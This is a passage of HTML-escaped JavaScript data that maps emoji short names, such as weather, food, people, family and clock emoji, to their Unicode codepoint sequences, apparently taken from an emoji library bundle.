,mostly_sunny:&quot;1F324-FE0F&quot;,barely_sunny:&quot;1F325-FE0F&quot;,partly_sunny_rain:&quot;1F326-FE0F&quot;,rain_cloud:&quot;1F327-FE0F&quot;,snow_cloud:&quot;1F328-FE0F&quot;,lightning:&quot;1F329-FE0F&quot;,tornado:&quot;1F32A-FE0F&quot;,fog:&quot;1F32B-FE0F&quot;,wind_blowing_face:&quot;1F32C-FE0F&quot;,hotdog:&quot;1F32D&quot;,taco:&quot;1F32E&quot;,burrito:&quot;1F32F&quot;,chestnut:&quot;1F330&quot;,seedling:&quot;1F331&quot;,evergreen_tree:&quot;1F332&quot;,deciduous_tree:&quot;1F333&quot;,palm_tree:&quot;1F334&quot;,cactus:&quot;1F335&quot;,hot_pepper:&quot;1F336-FE0F&quot;,tulip:&quot;1F337&quot;,cherry_blossom:&quot;1F338&quot;,rose:&quot;1F339&quot;,hibiscus:&quot;1F33A&quot;,sunflower:&quot;1F33B&quot;,blossom:&quot;1F33C&quot;,corn:&quot;1F33D&quot;,ear_of_rice:&quot;1F33E&quot;,herb:&quot;1F33F&quot;,four_leaf_clover:&quot;1F340&quot;,maple_leaf:&quot;1F341&quot;,fallen_leaf:&quot;1F342&quot;,leaves:&quot;1F343&quot;,mushroom:&quot;1F344&quot;,tomato:&quot;1F345&quot;,eggplant:&quot;1F346&quot;,grapes:&quot;1F347&quot;,melon:&quot;1F348&quot;,watermelon:&quot;1F349&quot;,tangerine:&quot;1F34A&quot;,lemon:&quot;1F34B&quot;,banana:&quot;1F34C&quot;,pineapple:&quot;1F34D&quot;,apple:&quot;1F34E&quot;,green_apple:&quot;1F34F&quot;,pear:&quot;1F350&quot;,peach:&quot;1F351&quot;,cherries:&quot;1F352&quot;,strawberry:&quot;1F353&quot;,hamburger:&quot;1F354&quot;,pizza:&quot;1F355&quot;,meat_on_bone:&quot;1F356&quot;,poultry_leg:&quot;1F357&quot;,rice_cracker:&quot;1F358&quot;,rice_ball:&quot;1F359&quot;,rice:&quot;1F35A&quot;,curry:&quot;1F35B&quot;,ramen:&quot;1F35C&quot;,spaghetti:&quot;1F35D&quot;,bread:&quot;1F35E&quot;,fries:&quot;1F35F&quot;,sweet_potato:&quot;1F360&quot;,dango:&quot;1F361&quot;,oden:&quot;1F362&quot;,sushi:&quot;1F363&quot;,fried_shrimp:&quot;1F364&quot;,fish_cake:&quot;1F365&quot;,icecream:&quot;1F366&quot;,shaved_ice:&quot;1F367&quot;,ice_cream:&quot;1F368&quot;,doughnut:&quot;1F369&quot;,cookie:&quot;1F36A&quot;,chocolate_bar:&quot;1F36B&quot;,candy:&quot;1F36C&quot;,lollipop:&quot;1F36D&quot;,custard:&quot;1F36E&quot;,honey_pot:&quot;1F36F&quot;,cake:&quot;1F370&quot;,bento:&quot;1F371&quot;,stew:&quot;1F372&quot;,fried_egg:&quot;1F373&quot;,fork_and_knife:&quot;1F374&quot;,tea:&quot;1F375&quot;,sake:&quot;1F376&quot;,wine_glass:&quot;1F377&quot;,cocktail:&quot;1F378&quot;,tropical_drink:&quot;1F379&quot;,beer:&quot;1F37A&quot;,beers:&quot;1F37B&quot;,baby_bottle:&quot;1F37C&quot;,knife_fork_plate:&quot;1F37D-FE0F&quot;,champagne:&quot;1F37E&quot;,popcorn:&quot;1F37F&quot;,ribbon:&quot;1F380&quot;,gift:&quot;1F381&quot;,birthday:&quot;1F382&quot;,jack_o_lantern:&quot;1F383&quot;,christmas_tree:&quot;1F384&quot;,santa:&quot;1F385&quot;,fireworks:&quot;1F386&quot;,sparkler:&quot;1F387&quot;,balloon:&quot;1F388&quot;,tada:&quot;1F389&quot;,confetti_ball:&quot;1F38A&quot;,tanabata_tree:&quot;1F38B&quot;,crossed_flags:&quot;1F38C&quot;,bamboo:&quot;1F38D&quot;,dolls:&quot;1F38E&quot;,flags:&quot;1F38F&quot;,wind_chime:&quot;1F390&quot;,rice_scene:&quot;1F391&quot;,school_satchel:&quot;1F392&quot;,mortar_board:&quot;1F393&quot;,medal:&quot;1F396-FE0F&quot;,reminder_ribbon:&quot;1F397-FE0F&quot;,studio_microphone:&quot;1F399-FE0F&quot;,level_slider:&quot;1F39A-FE0F&quot;,control_knobs:&quot;1F39B-FE0F&quot;,film_frames:&quot;1F39E-FE0F&quot;,admission_tickets:&quot;1F39F-FE0F&quot;,carousel_horse:&quot;1F3A0&quot;,ferris_wheel:&quot;1F3A1&quot;,roller_coaster:&quot;1F3A2&quot;,fishing_pole_and_fish:&quot;1F3A3&quot;,microphone:&quot;1F3A4&quot;,movie_camera:&quot;1F3A5&quot;,cinema:&quot;1F3A6&quot;,headphones:&quot;1F3A7&quot;,art:&quot;1F3A8&quot;,tophat:&quot;1F3A9&quot;,circus_tent:&quot;1F3AA&quot;,ticket:&quot;1F3AB&quot;,clapper:&quot;1F3AC&quot;,performing_arts:&quot;1F3AD&quot;,video_game:&quot;1F3AE&quot;,dart:&quot;1F3AF&quot;,slot_machine:&quot;1F3B0&quot;,&quot;8ball&quot;:&quot;1F3B1&quot;,game_die:&quot;1F3B2&quot;,bowling:&quot;1F3B3&quot;,flower_playing_cards:&quot;1F3B4&quot;,musical_note:&quot;1F3B5&quot;,notes:&quot;1F3B6&quot;,saxophone:&quot;1F3B7&quot;,guitar:&quot;1F3B8&quot;,musical_keyboard:&quot;1F3B9&quot;,trumpet:&quot;1F3BA&quot;,violin:&quot;1F3BB&quot;,musical_score:&quot;1F3BC&quot;,running_shirt_with_sash:&quot;1F3BD&quot;,tennis:&quot;1F3BE&quot;,ski:&quot;1F3BF&quot;,basketball:&quot;1F3C0&quot;,checkered_flag:&quot;1F3C1&quot;,snowboarder:&quot;1F3C2&quot;,&quot;woman-running&quot;:&quot;1F3C3-200D-2640-FE0F&quot;,&quot;man-running&quot;:&quot;1F3C3-200D-2642-FE0F&quot;,runner:&quot;1F3C3-200D-2642-FE0F&quot;,&quot;woman-surfing&quot;:&quot;1F3C4-200D-2640-FE0F&quot;,&quot;man-surfing&quot;:&quot;1F3C4-200D-2642-FE0F&quot;,surfer:&quot;1F3C4-200D-2642-FE0F&quot;,sports_medal:&quot;1F3C5&quot;,trophy:&quot;1F3C6&quot;,horse_racing:&quot;1F3C7&quot;,football:&quot;1F3C8&quot;,rugby_football:&quot;1F3C9&quot;,&quot;woman-swimming&quot;:&quot;1F3CA-200D-2640-FE0F&quot;,&quot;man-swimming&quot;:&quot;1F3CA-200D-2642-FE0F&quot;,swimmer:&quot;1F3CA-200D-2642-FE0F&quot;,&quot;woman-lifting-weights&quot;:&quot;1F3CB-FE0F-200D-2640-FE0F&quot;,&quot;man-lifting-weights&quot;:&quot;1F3CB-FE0F-200D-2642-FE0F&quot;,weight_lifter:&quot;1F3CB-FE0F-200D-2642-FE0F&quot;,&quot;woman-golfing&quot;:&quot;1F3CC-FE0F-200D-2640-FE0F&quot;,&quot;man-golfing&quot;:&quot;1F3CC-FE0F-200D-2642-FE0F&quot;,golfer:&quot;1F3CC-FE0F-200D-2642-FE0F&quot;,racing_motorcycle:&quot;1F3CD-FE0F&quot;,racing_car:&quot;1F3CE-FE0F&quot;,cricket_bat_and_ball:&quot;1F3CF&quot;,volleyball:&quot;1F3D0&quot;,field_hockey_stick_and_ball:&quot;1F3D1&quot;,ice_hockey_stick_and_puck:&quot;1F3D2&quot;,table_tennis_paddle_and_ball:&quot;1F3D3&quot;,snow_capped_mountain:&quot;1F3D4-FE0F&quot;,camping:&quot;1F3D5-FE0F&quot;,beach_with_umbrella:&quot;1F3D6-FE0F&quot;,building_construction:&quot;1F3D7-FE0F&quot;,house_buildings:&quot;1F3D8-FE0F&quot;,cityscape:&quot;1F3D9-FE0F&quot;,derelict_house_building:&quot;1F3DA-FE0F&quot;,classical_building:&quot;1F3DB-FE0F&quot;,desert:&quot;1F3DC-FE0F&quot;,desert_island:&quot;1F3DD-FE0F&quot;,national_park:&quot;1F3DE-FE0F&quot;,stadium:&quot;1F3DF-FE0F&quot;,house:&quot;1F3E0&quot;,house_with_garden:&quot;1F3E1&quot;,office:&quot;1F3E2&quot;,post_office:&quot;1F3E3&quot;,european_post_office:&quot;1F3E4&quot;,hospital:&quot;1F3E5&quot;,bank:&quot;1F3E6&quot;,atm:&quot;1F3E7&quot;,hotel:&quot;1F3E8&quot;,love_hotel:&quot;1F3E9&quot;,convenience_store:&quot;1F3EA&quot;,school:&quot;1F3EB&quot;,department_store:&quot;1F3EC&quot;,factory:&quot;1F3ED&quot;,izakaya_lantern:&quot;1F3EE&quot;,japanese_castle:&quot;1F3EF&quot;,european_castle:&quot;1F3F0&quot;,&quot;rainbow-flag&quot;:&quot;1F3F3-FE0F-200D-1F308&quot;,transgender_flag:&quot;1F3F3-FE0F-200D-26A7-FE0F&quot;,waving_white_flag:&quot;1F3F3-FE0F&quot;,pirate_flag:&quot;1F3F4-200D-2620-FE0F&quot;,&quot;flag-england&quot;:&quot;1F3F4-E0067-E0062-E0065-E006E-E0067-E007F&quot;,&quot;flag-scotland&quot;:&quot;1F3F4-E0067-E0062-E0073-E0063-E0074-E007F&quot;,&quot;flag-wales&quot;:&quot;1F3F4-E0067-E0062-E0077-E006C-E0073-E007F&quot;,waving_black_flag:&quot;1F3F4&quot;,rosette:&quot;1F3F5-FE0F&quot;,label:&quot;1F3F7-FE0F&quot;,badminton_racquet_and_shuttlecock:&quot;1F3F8&quot;,bow_and_arrow:&quot;1F3F9&quot;,amphora:&quot;1F3FA&quot;,&quot;skin-tone-2&quot;:&quot;1F3FB&quot;,&quot;skin-tone-3&quot;:&quot;1F3FC&quot;,&quot;skin-tone-4&quot;:&quot;1F3FD&quot;,&quot;skin-tone-5&quot;:&quot;1F3FE&quot;,&quot;skin-tone-6&quot;:&quot;1F3FF&quot;,rat:&quot;1F400&quot;,mouse2:&quot;1F401&quot;,ox:&quot;1F402&quot;,water_buffalo:&quot;1F403&quot;,cow2:&quot;1F404&quot;,tiger2:&quot;1F405&quot;,leopard:&quot;1F406&quot;,rabbit2:&quot;1F407&quot;,black_cat:&quot;1F408-200D-2B1B&quot;,cat2:&quot;1F408&quot;,dragon:&quot;1F409&quot;,crocodile:&quot;1F40A&quot;,whale2:&quot;1F40B&quot;,snail:&quot;1F40C&quot;,snake:&quot;1F40D&quot;,racehorse:&quot;1F40E&quot;,ram:&quot;1F40F&quot;,goat:&quot;1F410&quot;,sheep:&quot;1F411&quot;,monkey:&quot;1F412&quot;,rooster:&quot;1F413&quot;,chicken:&quot;1F414&quot;,service_dog:&quot;1F415-200D-1F9BA&quot;,dog2:&quot;1F415&quot;,pig2:&quot;1F416&quot;,boar:&quot;1F417&quot;,elephant:&quot;1F418&quot;,octopus:&quot;1F419&quot;,shell:&quot;1F41A&quot;,bug:&quot;1F41B&quot;,ant:&quot;1F41C&quot;,bee:&quot;1F41D&quot;,ladybug:&quot;1F41E&quot;,fish:&quot;1F41F&quot;,tropical_fish:&quot;1F420&quot;,blowfish:&quot;1F421&quot;,turtle:&quot;1F422&quot;,hatching_chick:&quot;1F423&quot;,baby_chick:&quot;1F424&quot;,hatched_chick:&quot;1F425&quot;,bird:&quot;1F426&quot;,penguin:&quot;1F427&quot;,koala:&quot;1F428&quot;,poodle:&quot;1F429&quot;,dromedary_camel:&quot;1F42A&quot;,camel:&quot;1F42B&quot;,dolphin:&quot;1F42C&quot;,mouse:&quot;1F42D&quot;,cow:&quot;1F42E&quot;,tiger:&quot;1F42F&quot;,rabbit:&quot;1F430&quot;,cat:&quot;1F431&quot;,dragon_face:&quot;1F432&quot;,whale:&quot;1F433&quot;,horse:&quot;1F434&quot;,monkey_face:&quot;1F435&quot;,dog:&quot;1F436&quot;,pig:&quot;1F437&quot;,frog:&quot;1F438&quot;,hamster:&quot;1F439&quot;,wolf:&quot;1F43A&quot;,polar_bear:&quot;1F43B-200D-2744-FE0F&quot;,bear:&quot;1F43B&quot;,panda_face:&quot;1F43C&quot;,pig_nose:&quot;1F43D&quot;,feet:&quot;1F43E&quot;,chipmunk:&quot;1F43F-FE0F&quot;,eyes:&quot;1F440&quot;,&quot;eye-in-speech-bubble&quot;:&quot;1F441-FE0F-200D-1F5E8-FE0F&quot;,eye:&quot;1F441-FE0F&quot;,ear:&quot;1F442&quot;,nose:&quot;1F443&quot;,lips:&quot;1F444&quot;,tongue:&quot;1F445&quot;,point_up_2:&quot;1F446&quot;,point_down:&quot;1F447&quot;,point_left:&quot;1F448&quot;,point_right:&quot;1F449&quot;,facepunch:&quot;1F44A&quot;,wave:&quot;1F44B&quot;,ok_hand:&quot;1F44C&quot;,&quot;+1&quot;:&quot;1F44D&quot;,&quot;-1&quot;:&quot;1F44E&quot;,clap:&quot;1F44F&quot;,open_hands:&quot;1F450&quot;,crown:&quot;1F451&quot;,womans_hat:&quot;1F452&quot;,eyeglasses:&quot;1F453&quot;,necktie:&quot;1F454&quot;,shirt:&quot;1F455&quot;,jeans:&quot;1F456&quot;,dress:&quot;1F457&quot;,kimono:&quot;1F458&quot;,bikini:&quot;1F459&quot;,womans_clothes:&quot;1F45A&quot;,purse:&quot;1F45B&quot;,handbag:&quot;1F45C&quot;,pouch:&quot;1F45D&quot;,mans_shoe:&quot;1F45E&quot;,athletic_shoe:&quot;1F45F&quot;,high_heel:&quot;1F460&quot;,sandal:&quot;1F461&quot;,boot:&quot;1F462&quot;,footprints:&quot;1F463&quot;,bust_in_silhouette:&quot;1F464&quot;,busts_in_silhouette:&quot;1F465&quot;,boy:&quot;1F466&quot;,girl:&quot;1F467&quot;,&quot;male-farmer&quot;:&quot;1F468-200D-1F33E&quot;,&quot;male-cook&quot;:&quot;1F468-200D-1F373&quot;,man_feeding_baby:&quot;1F468-200D-1F37C&quot;,&quot;male-student&quot;:&quot;1F468-200D-1F393&quot;,&quot;male-singer&quot;:&quot;1F468-200D-1F3A4&quot;,&quot;male-artist&quot;:&quot;1F468-200D-1F3A8&quot;,&quot;male-teacher&quot;:&quot;1F468-200D-1F3EB&quot;,&quot;male-factory-worker&quot;:&quot;1F468-200D-1F3ED&quot;,&quot;man-boy-boy&quot;:&quot;1F468-200D-1F466-200D-1F466&quot;,&quot;man-boy&quot;:&quot;1F468-200D-1F466&quot;,&quot;man-girl-boy&quot;:&quot;1F468-200D-1F467-200D-1F466&quot;,&quot;man-girl-girl&quot;:&quot;1F468-200D-1F467-200D-1F467&quot;,&quot;man-girl&quot;:&quot;1F468-200D-1F467&quot;,&quot;man-man-boy&quot;:&quot;1F468-200D-1F468-200D-1F466&quot;,&quot;man-man-boy-boy&quot;:&quot;1F468-200D-1F468-200D-1F466-200D-1F466&quot;,&quot;man-man-girl&quot;:&quot;1F468-200D-1F468-200D-1F467&quot;,&quot;man-man-girl-boy&quot;:&quot;1F468-200D-1F468-200D-1F467-200D-1F466&quot;,&quot;man-man-girl-girl&quot;:&quot;1F468-200D-1F468-200D-1F467-200D-1F467&quot;,&quot;man-woman-boy&quot;:&quot;1F468-200D-1F469-200D-1F466&quot;,&quot;man-woman-boy-boy&quot;:&quot;1F468-200D-1F469-200D-1F466-200D-1F466&quot;,&quot;man-woman-girl&quot;:&quot;1F468-200D-1F469-200D-1F467&quot;,&quot;man-woman-girl-boy&quot;:&quot;1F468-200D-1F469-200D-1F467-200D-1F466&quot;,&quot;man-woman-girl-girl&quot;:&quot;1F468-200D-1F469-200D-1F467-200D-1F467&quot;,&quot;male-technologist&quot;:&quot;1F468-200D-1F4BB&quot;,&quot;male-office-worker&quot;:&quot;1F468-200D-1F4BC&quot;,&quot;male-mechanic&quot;:&quot;1F468-200D-1F527&quot;,&quot;male-scientist&quot;:&quot;1F468-200D-1F52C&quot;,&quot;male-astronaut&quot;:&quot;1F468-200D-1F680&quot;,&quot;male-firefighter&quot;:&quot;1F468-200D-1F692&quot;,man_with_probing_cane:&quot;1F468-200D-1F9AF&quot;,red_haired_man:&quot;1F468-200D-1F9B0&quot;,curly_haired_man:&quot;1F468-200D-1F9B1&quot;,bald_man:&quot;1F468-200D-1F9B2&quot;,white_haired_man:&quot;1F468-200D-1F9B3&quot;,man_in_motorized_wheelchair:&quot;1F468-200D-1F9BC&quot;,man_in_manual_wheelchair:&quot;1F468-200D-1F9BD&quot;,&quot;male-doctor&quot;:&quot;1F468-200D-2695-FE0F&quot;,&quot;male-judge&quot;:&quot;1F468-200D-2696-FE0F&quot;,&quot;male-pilot&quot;:&quot;1F468-200D-2708-FE0F&quot;,&quot;man-heart-man&quot;:&quot;1F468-200D-2764-FE0F-200D-1F468&quot;,&quot;man-kiss-man&quot;:&quot;1F468-200D-2764-FE0F-200D-1F48B-200D-1F468&quot;,man:&quot;1F468&quot;,&quot;female-farmer&quot;:&quot;1F469-200D-1F33E&quot;,&quot;female-cook&quot;:&quot;1F469-200D-1F373&quot;,woman_feeding_baby:&quot;1F469-200D-1F37C&quot;,&quot;female-student&quot;:&quot;1F469-200D-1F393&quot;,&quot;female-singer&quot;:&quot;1F469-200D-1F3A4&quot;,&quot;female-artist&quot;:&quot;1F469-200D-1F3A8&quot;,&quot;female-teacher&quot;:&quot;1F469-200D-1F3EB&quot;,&quot;female-factory-worker&quot;:&quot;1F469-200D-1F3ED&quot;,&quot;woman-boy-boy&quot;:&quot;1F469-200D-1F466-200D-1F466&quot;,&quot;woman-boy&quot;:&quot;1F469-200D-1F466&quot;,&quot;woman-girl-boy&quot;:&quot;1F469-200D-1F467-200D-1F466&quot;,&quot;woman-girl-girl&quot;:&quot;1F469-200D-1F467-200D-1F467&quot;,&quot;woman-girl&quot;:&quot;1F469-200D-1F467&quot;,&quot;woman-woman-boy&quot;:&quot;1F469-200D-1F469-200D-1F466&quot;,&quot;woman-woman-boy-boy&quot;:&quot;1F469-200D-1F469-200D-1F466-200D-1F466&quot;,&quot;woman-woman-girl&quot;:&quot;1F469-200D-1F469-200D-1F467&quot;,&quot;woman-woman-girl-boy&quot;:&quot;1F469-200D-1F469-200D-1F467-200D-1F466&quot;,&quot;woman-woman-girl-girl&quot;:&quot;1F469-200D-1F469-200D-1F467-200D-1F467&quot;,&quot;female-technologist&quot;:&quot;1F469-200D-1F4BB&quot;,&quot;female-office-worker&quot;:&quot;1F469-200D-1F4BC&quot;,&quot;female-mechanic&quot;:&quot;1F469-200D-1F527&quot;,&quot;female-scientist&quot;:&quot;1F469-200D-1F52C&quot;,&quot;female-astronaut&quot;:&quot;1F469-200D-1F680&quot;,&quot;female-firefighter&quot;:&quot;1F469-200D-1F692&quot;,woman_with_probing_cane:&quot;1F469-200D-1F9AF&quot;,red_haired_woman:&quot;1F469-200D-1F9B0&quot;,curly_haired_woman:&quot;1F469-200D-1F9B1&quot;,bald_woman:&quot;1F469-200D-1F9B2&quot;,white_haired_woman:&quot;1F469-200D-1F9B3&quot;,woman_in_motorized_wheelchair:&quot;1F469-200D-1F9BC&quot;,woman_in_manual_wheelchair:&quot;1F469-200D-1F9BD&quot;,&quot;female-doctor&quot;:&quot;1F469-200D-2695-FE0F&quot;,&quot;female-judge&quot;:&quot;1F469-200D-2696-FE0F&quot;,&quot;female-pilot&quot;:&quot;1F469-200D-2708-FE0F&quot;,&quot;woman-heart-man&quot;:&quot;1F469-200D-2764-FE0F-200D-1F468&quot;,&quot;woman-heart-woman&quot;:&quot;1F469-200D-2764-FE0F-200D-1F469&quot;,&quot;woman-kiss-man&quot;:&quot;1F469-200D-2764-FE0F-200D-1F48B-200D-1F468&quot;,&quot;woman-kiss-woman&quot;:&quot;1F469-200D-2764-FE0F-200D-1F48B-200D-1F469&quot;,woman:&quot;1F469&quot;,family:&quot;1F468-200D-1F469-200D-1F466&quot;,man_and_woman_holding_hands:&quot;1F46B&quot;,two_men_holding_hands:&quot;1F46C&quot;,two_women_holding_hands:&quot;1F46D&quot;,&quot;female-police-officer&quot;:&quot;1F46E-200D-2640-FE0F&quot;,&quot;male-police-officer&quot;:&quot;1F46E-200D-2642-FE0F&quot;,cop:&quot;1F46E-200D-2642-FE0F&quot;,&quot;women-with-bunny-ears-partying&quot;:&quot;1F46F-200D-2640-FE0F&quot;,&quot;men-with-bunny-ears-partying&quot;:&quot;1F46F-200D-2642-FE0F&quot;,dancers:&quot;1F46F-200D-2640-FE0F&quot;,woman_with_veil:&quot;1F470-200D-2640-FE0F&quot;,man_with_veil:&quot;1F470-200D-2642-FE0F&quot;,bride_with_veil:&quot;1F470&quot;,&quot;blond-haired-woman&quot;:&quot;1F471-200D-2640-FE0F&quot;,&quot;blond-haired-man&quot;:&quot;1F471-200D-2642-FE0F&quot;,person_with_blond_hair:&quot;1F471-200D-2642-FE0F&quot;,man_with_gua_pi_mao:&quot;1F472&quot;,&quot;woman-wearing-turban&quot;:&quot;1F473-200D-2640-FE0F&quot;,&quot;man-wearing-turban&quot;:&quot;1F473-200D-2642-FE0F&quot;,man_with_turban:&quot;1F473-200D-2642-FE0F&quot;,older_man:&quot;1F474&quot;,older_woman:&quot;1F475&quot;,baby:&quot;1F476&quot;,&quot;female-construction-worker&quot;:&quot;1F477-200D-2640-FE0F&quot;,&quot;male-construction-worker&quot;:&quot;1F477-200D-2642-FE0F&quot;,construction_worker:&quot;1F477-200D-2642-FE0F&quot;,princess:&quot;1F478&quot;,japanese_ogre:&quot;1F479&quot;,japanese_goblin:&quot;1F47A&quot;,ghost:&quot;1F47B&quot;,angel:&quot;1F47C&quot;,alien:&quot;1F47D&quot;,space_invader:&quot;1F47E&quot;,imp:&quot;1F47F&quot;,skull:&quot;1F480&quot;,&quot;woman-tipping-hand&quot;:&quot;1F481-200D-2640-FE0F&quot;,&quot;man-tipping-hand&quot;:&quot;1F481-200D-2642-FE0F&quot;,information_desk_person:&quot;1F481-200D-2640-FE0F&quot;,&quot;female-guard&quot;:&quot;1F482-200D-2640-FE0F&quot;,&quot;male-guard&quot;:&quot;1F482-200D-2642-FE0F&quot;,guardsman:&quot;1F482-200D-2642-FE0F&quot;,dancer:&quot;1F483&quot;,lipstick:&quot;1F484&quot;,nail_care:&quot;1F485&quot;,&quot;woman-getting-massage&quot;:&quot;1F486-200D-2640-FE0F&quot;,&quot;man-getting-massage&quot;:&quot;1F486-200D-2642-FE0F&quot;,massage:&quot;1F486-200D-2640-FE0F&quot;,&quot;woman-getting-haircut&quot;:&quot;1F487-200D-2640-FE0F&quot;,&quot;man-getting-haircut&quot;:&quot;1F487-200D-2642-FE0F&quot;,haircut:&quot;1F487-200D-2640-FE0F&quot;,barber:&quot;1F488&quot;,syringe:&quot;1F489&quot;,pill:&quot;1F48A&quot;,kiss:&quot;1F48B&quot;,love_letter:&quot;1F48C&quot;,ring:&quot;1F48D&quot;,gem:&quot;1F48E&quot;,couplekiss:&quot;1F48F&quot;,bouquet:&quot;1F490&quot;,couple_with_heart:&quot;1F491&quot;,wedding:&quot;1F492&quot;,heartbeat:&quot;1F493&quot;,broken_heart:&quot;1F494&quot;,two_hearts:&quot;1F495&quot;,sparkling_heart:&quot;1F496&quot;,heartpulse:&quot;1F497&quot;,cupid:&quot;1F498&quot;,blue_heart:&quot;1F499&quot;,green_heart:&quot;1F49A&quot;,yellow_heart:&quot;1F49B&quot;,purple_heart:&quot;1F49C&quot;,gift_heart:&quot;1F49D&quot;,revolving_hearts:&quot;1F49E&quot;,heart_decoration:&quot;1F49F&quot;,diamond_shape_with_a_dot_inside:&quot;1F4A0&quot;,bulb:&quot;1F4A1&quot;,anger:&quot;1F4A2&quot;,bomb:&quot;1F4A3&quot;,zzz:&quot;1F4A4&quot;,boom:&quot;1F4A5&quot;,sweat_drops:&quot;1F4A6&quot;,droplet:&quot;1F4A7&quot;,dash:&quot;1F4A8&quot;,hankey:&quot;1F4A9&quot;,muscle:&quot;1F4AA&quot;,dizzy:&quot;1F4AB&quot;,speech_balloon:&quot;1F4AC&quot;,thought_balloon:&quot;1F4AD&quot;,white_flower:&quot;1F4AE&quot;,100:&quot;1F4AF&quot;,moneybag:&quot;1F4B0&quot;,currency_exchange:&quot;1F4B1&quot;,heavy_dollar_sign:&quot;1F4B2&quot;,credit_card:&quot;1F4B3&quot;,yen:&quot;1F4B4&quot;,dollar:&quot;1F4B5&quot;,euro:&quot;1F4B6&quot;,pound:&quot;1F4B7&quot;,money_with_wings:&quot;1F4B8&quot;,chart:&quot;1F4B9&quot;,seat:&quot;1F4BA&quot;,computer:&quot;1F4BB&quot;,briefcase:&quot;1F4BC&quot;,minidisc:&quot;1F4BD&quot;,floppy_disk:&quot;1F4BE&quot;,cd:&quot;1F4BF&quot;,dvd:&quot;1F4C0&quot;,file_folder:&quot;1F4C1&quot;,open_file_folder:&quot;1F4C2&quot;,page_with_curl:&quot;1F4C3&quot;,page_facing_up:&quot;1F4C4&quot;,date:&quot;1F4C5&quot;,calendar:&quot;1F4C6&quot;,card_index:&quot;1F4C7&quot;,chart_with_upwards_trend:&quot;1F4C8&quot;,chart_with_downwards_trend:&quot;1F4C9&quot;,bar_chart:&quot;1F4CA&quot;,clipboard:&quot;1F4CB&quot;,pushpin:&quot;1F4CC&quot;,round_pushpin:&quot;1F4CD&quot;,paperclip:&quot;1F4CE&quot;,straight_ruler:&quot;1F4CF&quot;,triangular_ruler:&quot;1F4D0&quot;,bookmark_tabs:&quot;1F4D1&quot;,ledger:&quot;1F4D2&quot;,notebook:&quot;1F4D3&quot;,notebook_with_decorative_cover:&quot;1F4D4&quot;,closed_book:&quot;1F4D5&quot;,book:&quot;1F4D6&quot;,green_book:&quot;1F4D7&quot;,blue_book:&quot;1F4D8&quot;,orange_book:&quot;1F4D9&quot;,books:&quot;1F4DA&quot;,name_badge:&quot;1F4DB&quot;,scroll:&quot;1F4DC&quot;,memo:&quot;1F4DD&quot;,telephone_receiver:&quot;1F4DE&quot;,pager:&quot;1F4DF&quot;,fax:&quot;1F4E0&quot;,satellite_antenna:&quot;1F4E1&quot;,loudspeaker:&quot;1F4E2&quot;,mega:&quot;1F4E3&quot;,outbox_tray:&quot;1F4E4&quot;,inbox_tray:&quot;1F4E5&quot;,package:&quot;1F4E6&quot;,&quot;e-mail&quot;:&quot;1F4E7&quot;,incoming_envelope:&quot;1F4E8&quot;,envelope_with_arrow:&quot;1F4E9&quot;,mailbox_closed:&quot;1F4EA&quot;,mailbox:&quot;1F4EB&quot;,mailbox_with_mail:&quot;1F4EC&quot;,mailbox_with_no_mail:&quot;1F4ED&quot;,postbox:&quot;1F4EE&quot;,postal_horn:&quot;1F4EF&quot;,newspaper:&quot;1F4F0&quot;,iphone:&quot;1F4F1&quot;,calling:&quot;1F4F2&quot;,vibration_mode:&quot;1F4F3&quot;,mobile_phone_off:&quot;1F4F4&quot;,no_mobile_phones:&quot;1F4F5&quot;,signal_strength:&quot;1F4F6&quot;,camera:&quot;1F4F7&quot;,camera_with_flash:&quot;1F4F8&quot;,video_camera:&quot;1F4F9&quot;,tv:&quot;1F4FA&quot;,radio:&quot;1F4FB&quot;,vhs:&quot;1F4FC&quot;,film_projector:&quot;1F4FD-FE0F&quot;,prayer_beads:&quot;1F4FF&quot;,twisted_rightwards_arrows:&quot;1F500&quot;,repeat:&quot;1F501&quot;,repeat_one:&quot;1F502&quot;,arrows_clockwise:&quot;1F503&quot;,arrows_counterclockwise:&quot;1F504&quot;,low_brightness:&quot;1F505&quot;,high_brightness:&quot;1F506&quot;,mute:&quot;1F507&quot;,speaker:&quot;1F508&quot;,sound:&quot;1F509&quot;,loud_sound:&quot;1F50A&quot;,battery:&quot;1F50B&quot;,electric_plug:&quot;1F50C&quot;,mag:&quot;1F50D&quot;,mag_right:&quot;1F50E&quot;,lock_with_ink_pen:&quot;1F50F&quot;,closed_lock_with_key:&quot;1F510&quot;,key:&quot;1F511&quot;,lock:&quot;1F512&quot;,unlock:&quot;1F513&quot;,bell:&quot;1F514&quot;,no_bell:&quot;1F515&quot;,bookmark:&quot;1F516&quot;,link:&quot;1F517&quot;,radio_button:&quot;1F518&quot;,back:&quot;1F519&quot;,end:&quot;1F51A&quot;,on:&quot;1F51B&quot;,soon:&quot;1F51C&quot;,top:&quot;1F51D&quot;,underage:&quot;1F51E&quot;,keycap_ten:&quot;1F51F&quot;,capital_abcd:&quot;1F520&quot;,abcd:&quot;1F521&quot;,1234:&quot;1F522&quot;,symbols:&quot;1F523&quot;,abc:&quot;1F524&quot;,fire:&quot;1F525&quot;,flashlight:&quot;1F526&quot;,wrench:&quot;1F527&quot;,hammer:&quot;1F528&quot;,nut_and_bolt:&quot;1F529&quot;,hocho:&quot;1F52A&quot;,gun:&quot;1F52B&quot;,microscope:&quot;1F52C&quot;,telescope:&quot;1F52D&quot;,crystal_ball:&quot;1F52E&quot;,six_pointed_star:&quot;1F52F&quot;,beginner:&quot;1F530&quot;,trident:&quot;1F531&quot;,black_square_button:&quot;1F532&quot;,white_square_button:&quot;1F533&quot;,red_circle:&quot;1F534&quot;,large_blue_circle:&quot;1F535&quot;,large_orange_diamond:&quot;1F536&quot;,large_blue_diamond:&quot;1F537&quot;,small_orange_diamond:&quot;1F538&quot;,small_blue_diamond:&quot;1F539&quot;,small_red_triangle:&quot;1F53A&quot;,small_red_triangle_down:&quot;1F53B&quot;,arrow_up_small:&quot;1F53C&quot;,arrow_down_small:&quot;1F53D&quot;,om_symbol:&quot;1F549-FE0F&quot;,dove_of_peace:&quot;1F54A-FE0F&quot;,kaaba:&quot;1F54B&quot;,mosque:&quot;1F54C&quot;,synagogue:&quot;1F54D&quot;,menorah_with_nine_branches:&quot;1F54E&quot;,clock1:&quot;1F550&quot;,clock2:&quot;1F551&quot;,clock3:&quot;1F552&quot;,clock4:&quot;1F553&quot;,clock5:&quot;1F554&quot;,clock6:&quot;1F555&quot;,clock7:&quot;1F556&quot;,clock8:&quot;1F557&quot;,clock9:&quot;1F558&quot;,clock10:&quot;1F559&quot;,clock11:&quot;1F55A&quot;,clock12:&quot;1F55B&quot;,clo